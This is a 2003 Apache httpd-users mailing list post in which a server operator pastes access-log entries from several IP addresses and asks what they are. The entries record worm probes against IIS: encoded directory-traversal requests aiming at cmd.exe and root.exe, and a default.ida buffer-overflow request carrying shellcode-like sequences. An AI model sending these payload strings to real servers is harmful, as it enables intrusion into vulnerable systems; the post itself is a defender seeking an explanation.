httpd-users mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Kyle Hamilton" <williamhamil...@sbcglobal.net>
Subject [users@httpd] Log question
Date Wed, 12 Mar 2003 20:47:58 GMT
I have people *about 4 or 5 differnt IP's* that always do this on my server
can someone explain this to me?
-kyle

67.85.205.237 - - [12/Mar/2003:08:27:49 -0800] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 293 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:49 -0800] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 291 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:49 -0800] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:50 -0800] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:50 -0800] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:50 -0800] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 332 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:51 -0800] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 332 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:51 -0800] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:52 -0800] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:52 -0800] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:52 -0800] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:53 -0800] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:53 -0800] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 298 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:54 -0800] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 298 "-" "-"
67.85.205.237 - - [12/Mar/2003:08:27:54 -0800] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-"
"-"
67.85.205.237 - - [12/Mar/2003:08:27:55 -0800] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:39:51 -0800] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 293 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:39:51 -0800] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 291 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:39:52 -0800] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:39:53 -0800] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:39:57 -0800] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:39:58 -0800] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 332 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:39:59 -0800] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 332 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:00 -0800] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:01 -0800] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:02 -0800] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:03 -0800] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:05 -0800] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:06 -0800] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 298 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:07 -0800] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 298 "-" "-"
67.41.164.177 - - [12/Mar/2003:08:40:07 -0800] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-"
"-"
67.41.164.177 - - [12/Mar/2003:08:40:08 -0800] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
66.134.97.123 - - [12/Mar/2003:10:38:10 -0800] "GET
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 - "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:22 -0800] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 293 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:25 -0800] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 291 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:27 -0800] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:29 -0800] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:32 -0800] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:35 -0800] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 332 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:39 -0800] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 332 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:41 -0800] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:44 -0800] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:46 -0800] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:49 -0800] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:51 -0800] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:54 -0800] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 298 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:56 -0800] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 298 "-" "-"
67.113.208.170 - - [12/Mar/2003:11:11:58 -0800] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-"
"-"
67.113.208.170 - - [12/Mar/2003:11:12:01 -0800] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
67.114.240.54 - - [12/Mar/2003:12:28:32 -0800] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 288 "-" "-"


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Mime
View raw message